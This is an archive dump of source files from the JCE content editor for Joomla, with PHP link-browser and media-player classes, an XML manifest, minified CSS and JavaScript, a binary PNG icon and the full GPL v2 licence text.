                foreach ($menus as $menu) {
                    if ($menu->type == 'menulink') {
                        //$menu = AdvlinkMenu::_alias($menu->id);
                    }

                    $children = (int) self::_children($menu->id);

                    $title = isset($menu->name) ? $menu->name : $menu->title;

                    // get params
                    if (defined('JPATH_PLATFORM')) {
                        $params = new JRegistry($menu->params);
                    } else {
                        $params = new JParameter($menu->params);
                    }

                    // resolve link
                    $link = self::_resolveLink($menu);

                    // language
                    if (isset($menu->language)) {
                        $link .= $this->getLangauge($menu->language);
                    }

                    if ($params->get('secure')) {
                        $link = self::toSSL($link);
                    }

                    $items[] = array(
                        'id' => self::route($link),
                        'name' => $title . ' / ' . $menu->alias,
                        'class' => $children ? 'folder menu' : 'file',
                    );
                }
                break;
        }

        return $items;
    }

    /**
     * Convert link to SSL.
     *
     * @param type $link
     *
     * @return string
     */
    private static function toSSL($link)
    {
        if (strcasecmp(substr($link, 0, 4), 'http') && (strpos($link, 'index.php?') !== false)) {
            $uri = JURI::getInstance();

            // Get prefix
            $prefix = $uri->toString(array('host', 'port'));

            // trim slashes
            $link = trim($link, '/');

            // Build the URL.
            $link = 'https://' . $prefix . '/' . $link;
        }

        return $link;
    }

    private static function _resolveLink($menu)
    {
        $wf = WFEditorPlugin::getInstance();

        // get link from menu object
        $link = $menu->link;

        // internal link
        if ($link && strpos($link, 'index.php') === 0) {
            if ($wf->getParam('links.joomlalinks.menu_resolve_alias', 1) == 1) {
                // no Itemid
                if (strpos($link, 'Itemid=') === false) {
                    $link .= '&Itemid=' . $menu->id;
                }
                // short link
            } else {
                $link = 'index.php?Itemid=' . $menu->id;
            }
        }

        return $link;
    }

    private function _types()
    {
        $db = JFactory::getDBO();

        $query = $db->getQuery(true);

        if (is_object($query)) {
            $query->select('*')->from('#__menu_types')->where('client_id = 0')->order('title');
        } else {
            $query = 'SELECT * FROM #__menu_types ORDER By title';
        }

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private function _alias($id)
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        $query = $db->getQuery(true);

        if (is_object($query)) {
            $query->select('params')->from('#__menu')->where('id = ' . (int) $id);
        } else {
            $query = 'SELECT params FROM #__menu WHERE id = ' . (int) $id;
        }

        $db->setQuery($query, 0);
        $params = new JRegistry($db->loadResult());

        $query->clear();

        if (is_object($query)) {
            $query->select('id, name, link, alias')->from('#__menu')->where(array('published = 1', 'id = ' . (int) $params->get('menu_item')));
            
            if (!$user->authorise('core.admin')) {
                $query->where('access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
            }
            
            $query->order('id, name');
            
        } else {
            $query = 'SELECT id, name, link, alias'
            . ' FROM #__menu'
            . ' WHERE published = 1'
            . ' AND id = ' . (int) $params->get('menu_item')
            . ' AND access <= ' . (int) $user->get('aid')
            . ' ORDER BY id, name';
        }

        $db->setQuery($query, 0);

        return $db->loadObject();
    }

    private function _children($id)
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        $query = $db->getQuery(true);

        if (is_object($query)) {
            $query->select('COUNT(id)')->from('#__menu')->where(array('published = 1', 'client_id = 0'));
            
            if (!$user->authorise('core.admin')) {
                $query->where('access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
            }

            if ($id) {
                $query->where('parent_id = ' . (int) $id);
            }
        } else {
            if ($id) {
                $where = ' AND parent = ' . (int) $id;
            }

            $query = 'SELECT COUNT(id)'
            . ' FROM #__menu'
            . ' WHERE published = 1'
            . ' AND access <= ' . (int) $user->get('aid')
            . $where;
        }

        $db->setQuery($query, 0);

        return $db->loadResult();
    }

    private function _menu($parent = 0, $type = 0)
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        $query = $db->getQuery(true);

        if (is_object($query)) {
            $query->select('m.*')->from('#__menu AS m');

            if ($type) {
                $query->innerJoin('#__menu_types AS s ON s.id = ' . (int) $type);
                $query->where('m.menutype = s.menutype');
            }

            if ($parent == 0) {
                $parent = 1;
            }

            $query->where('m.published = 1');

            if (!$user->authorise('core.admin')) {
                $query->where('m.access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
            }

            $query->where('m.parent_id = ' . (int) $parent);

            // only site menu items
            $query->where('m.client_id = 0');

            $query->order('m.lft ASC, m.id, m.title');
        } else {
            $where = '';
            $join = '';

            if ($type) {
                $join  .= ' INNER JOIN #__menu_types AS s ON s.id = ' . intval($type);
                $where .= ' AND m.menutype = s.menutype';
            }

            if ($user->get('gid') != 25) {
                $where .= ' AND m.access <= ' . (int) $user->get('aid');
            }

            $query = 'SELECT m.* FROM #__menu AS m'
            . $join
            . ' WHERE m.published = 1'
            . ' AND m.parent = ' . (int) $parent
            . $where
            . ' ORDER BY m.lft ASC, m.id, m.name'
            ;
        }

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private function getLangauge($language)
    {
        $db = JFactory::getDBO();
        $query = $db->getQuery(true);

        $link = '';

        if (is_object($query)) {
            $query->select('a.sef AS sef');
            $query->select('a.lang_code AS lang_code');
            $query->from('#__languages AS a');
            $db->setQuery($query);
            $langs = $db->loadObjectList();

            foreach ($langs as $lang) {
                if ($language == $lang->lang_code) {
                    $language = $lang->sef;
                    $link .= '&lang=' . $language;
                }
            }
        }

        return $link;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkExtension::route($url);
        }

        return $url;
    }
}
editor/extensions/links/index.html000060400000000054150750527150013350 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/links/joomlalinks.xml000060400000007775150750527150014440 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="extension" extension="joomlalinks" folder="links" method="upgrade" core="1">
    <name>WF_LINKS_JOOMLALINKS_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LINKS_JOOMLALINKS_DESC</description>
    <files>
        <filename>joomlalinks.php</filename>
        <folder>joomlalinks</folder>
    </files>
	<!--params group="links">
		<param name="joomlalinks" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
	</params-->
    <params group="joomlalinks">
        <!--param name="enable" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->
        <param name="content" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_CONTENT" description="WF_LINKS_JOOMLALINKS_PARAM_CONTENT_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="article_alias" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_ALIAS" description="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_ALIAS_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="article_unpublished" type="radio" default="0" label="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_UNPUBLISHED" description="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_UNPUBLISHED_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="static" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_UNCATEGORIZED" description="WF_LINKS_JOOMLALINKS_PARAM_UNCATEGORIZED_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="contacts" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_CONTACT" description="WF_LINKS_JOOMLALINKS_PARAM_CONTACT_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="weblinks" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS" description="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="weblinks_alias" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_ALIAS" description="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_ALIAS_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="menu" type="radio" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_MENU" description="WF_LINKS_JOOMLALINKS_PARAM_MENU_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <!--param name="sef_url" type="radio" default="0" label="WF_LINKS_JOOMLALINKS_SEF_URL" description="WF_LINKS_JOOMLALINKS_SEF_URL_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->
    </params>
    <plugins></plugins>
</install>
editor/extensions/links/joomlalinks.php000060400000004733150750527150014416 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class WFLinkBrowser_Joomlalinks
{
    public $_option = array();
    public $_adapters = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($options = array())
    {
        jimport('joomla.filesystem.folder');
        jimport('joomla.filesystem.file');

        $path = dirname(__FILE__).'/joomlalinks';

        // Get all files
        $files = JFolder::files($path, '\.(php)$');

        if (!empty($files)) {
            foreach ($files as $file) {
                $name = basename($file, '.php');

                // skip weblinks if it doesn't exist!
                if ($name === 'weblinks' && !is_file(JPATH_SITE.'/components/com_weblinks/helpers/route.php')) {
                    continue;
                }

                require_once $path.'/'.$file;

                $classname = 'Joomlalinks'.ucfirst($name);

                if (class_exists($classname)) {
                    $this->_adapters[] = new $classname();
                }
            }
        }
    }

    public function display()
    {
        // Load css
        $document = WFDocument::getInstance();
        $document->addStyleSheet(array('joomlalinks'), 'extensions/links/joomlalinks/css');
    }

    public function isEnabled()
    {
        $wf = WFEditorPlugin::getInstance();

        return $wf->checkAccess($wf->getName().'.links.joomlalinks.enable', 1);
    }

    public function getOption()
    {
        foreach ($this->_adapters as $adapter) {
            $this->_option[] = $adapter->getOption();
        }

        return $this->_option;
    }

    public function getList()
    {
        $list = '';

        foreach ($this->_adapters as $adapter) {
            $list .= $adapter->getList();
        }

        return $list;
    }

    public function getLinks($args)
    {
        foreach ($this->_adapters as $adapter) {
            if ($adapter->getOption() == $args->option) {
                return $adapter->getLinks($args);
            }
        }
    }
}
media/css/popup.css000060400000000476150750527150010302 0ustar00body,div#wf_popup_image{margin:0;padding:0}div#wf_popup_image{display:block}div#wf_popup_image div{margin:0;padding:0;float:left}div#wf_popup_image div.contentheading{width:95%}div#wf_popup_image div.buttonheading{float:right}div#wf_popup_image div img{margin:0;padding:0;cursor:pointer;border:0;vertical-align:middle}media/css/index.html000060400000000054150750527150010412 0ustar00<html><body bgcolor="#FFFFFF"></body></html>media/index.html000060400000000054150750527150007622 0ustar00<html><body bgcolor="#FFFFFF"></body></html>media/img/print.png000060400000001221150750527150010240 0ustar00�PNG


IHDR�aXIDATxڍ�QHSQ�)�P!�`���a��L� �C[l�uS�P�Kw#r�\7'M�%��_DG%SQc$8�H�^� �:��_�X���{��ι���_�-�r��m�����>���A�f�}t�o��
�T
�Ʃ<W HR)�_''�>8���}|���'YF|q4�n��5F���n7?���ZE����ޣ�S|绖����)Ri6�8�~[��Unv���:;���ۗ�?�����I�w�!�2��+���q�����rȥe� 7%I���<��(���9B�gww����2�Ţ��d2p8�E.��Њ�F��
�������,-�cpph������annn=�N�d2�MMf
<x���@q���N�S��F�������t:��;�d���EqD~�ξۢ,��O��$��84
�ǰZ]9SSS���eYMMM �����$|�g����8b��&�x�~��|T�,�j������7�t:��beYEEE�J�"��ʆeYFcLƫ72�߾G�s'�tH0x'�ug�|�2>78�u]��5��3�\>��S�la����zu��kUU�� �����;��WIEND�B`�media/img/index.html000060400000000054150750527150010376 0ustar00<html><body bgcolor="#FFFFFF"></body></html>media/js/popup.js000060400000003532150750527150007746 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(win){function ready(){doc.addEventListener?doc.addEventListener("DOMContentLoaded",function(){return doc.removeEventListener("DOMContentLoaded",arguments.callee,!1),WFWindowPopup._init()},!1):doc.attachEvent&&(doc.attachEvent("onreadystatechange",function(){if("complete"===doc.readyState)return doc.detachEvent("onreadystatechange",arguments.callee),WFWindowPopup._init()}),doc.documentElement.doScroll&&win==win.top&&!function(){if(!domLoaded){try{doc.documentElement.doScroll("left")}catch(error){return void setTimeout(arguments.callee,0)}return WFWindowPopup._init()}}()),win.attachEvent&&win.attachEvent("onload",function(){return WFWindowPopup._init()})}var doc=win.document,body=doc.body,domLoaded=!1,WFWindowPopup={init:function(width,height,click){if(this.width=parseInt(width),this.height=parseInt(height),this.click=!!click,this.width||this.height)return domLoaded?void this._init():ready()},_init:function(){this.resize(),this.click&&this.noclick()},resize:function(){var x,oh=0,vw=win.innerWidth||doc.documentElement.clientWidth||body.clientWidth||0,vh=win.innerHeight||doc.documentElement.clientHeight||body.clientHeight||0,divs=doc.getElementsByTagName("div");for(x=0;x<divs.length;x++)"contentheading"==divs[x].className&&(oh=divs[x].offsetHeight);win.resizeBy(vw-this.width,vh-(this.height+oh)),this.center()},center:function(){var vw=win.innerWidth||doc.documentElement.clientWidth||body.clientWidth||0,vh=win.innerHeight||doc.documentElement.clientHeight||body.clientHeight||0,x=(screen.width-vw)/2,y=(screen.height-vh)/2;win.moveTo(x,y)},noclick:function(){doc.onmousedown=function(e){return win.close()}}};win.WFWindowPopup=WFWindowPopup}(window);media/js/index.html000060400000000054150750527150010236 0ustar00<html><body bgcolor="#FFFFFF"></body></html>licence.txt000060400000043254150750527150006722 0ustar00                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
index.html000060400000000054150751770420006544 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/elements/mediaplayer.php000060400000003622150751770420012662 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('JPATH_BASE') or die('RESTRICTED');

/**
 * Renders a select element
 */
class WFElementMediaplayer extends WFElement {

    /**
     * Element type
     *
     * @access  protected
     * @var   string
     */
    var $_name = 'Mediaplayer';

    public function fetchElement($name, $value, &$node, $control_name) {
        jimport('joomla.filesystem.folder');

        // path to images directory
        $path = WF_EDITOR . '/extensions/mediaplayer';
        $files = JFolder::files($path, '\.xml', false, true, array('build.xml'));
        
        $attribs = array('class="parameter-nested-parent"');

        $language = JFactory::getLanguage();

        // create unique id
        $id = preg_replace('#([^a-z0-9_-]+)#i', '', $control_name . 'mediaplayer' . $name);

        $options = array();

        $options[] = JHTML::_('select.option', 'none', WFText::_('WF_OPTION_NONE'));

        if (is_array($files)) {
            foreach ($files as $file) {
                // load language file
                $language->load('com_jce_' . $name . '_' . basename($file, '.xml'), JPATH_SITE);
                $xml = WFXMLHelper::parseInstallManifest($file);
                $options[] = JHTML::_('select.option', basename($file, '.xml'), WFText::_($xml['name']));
            }
        }

        return JHTML::_('select.genericlist', $options, '' . $control_name . '[mediaplayer][' . $name . ']', implode(' ', $attribs), 'value', 'text', $value, $id);
    }

}

?>editor/tiny_mce/themes/advanced/skins/highcontrast/content.css000060400000000370150751770420020707 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
@import url('../default/content.css');editor/tiny_mce/themes/advanced/skins/highcontrast/index.html000060400000000054150751770420020517 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/highcontrast/ui.css000060400000022256150751770420017661 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
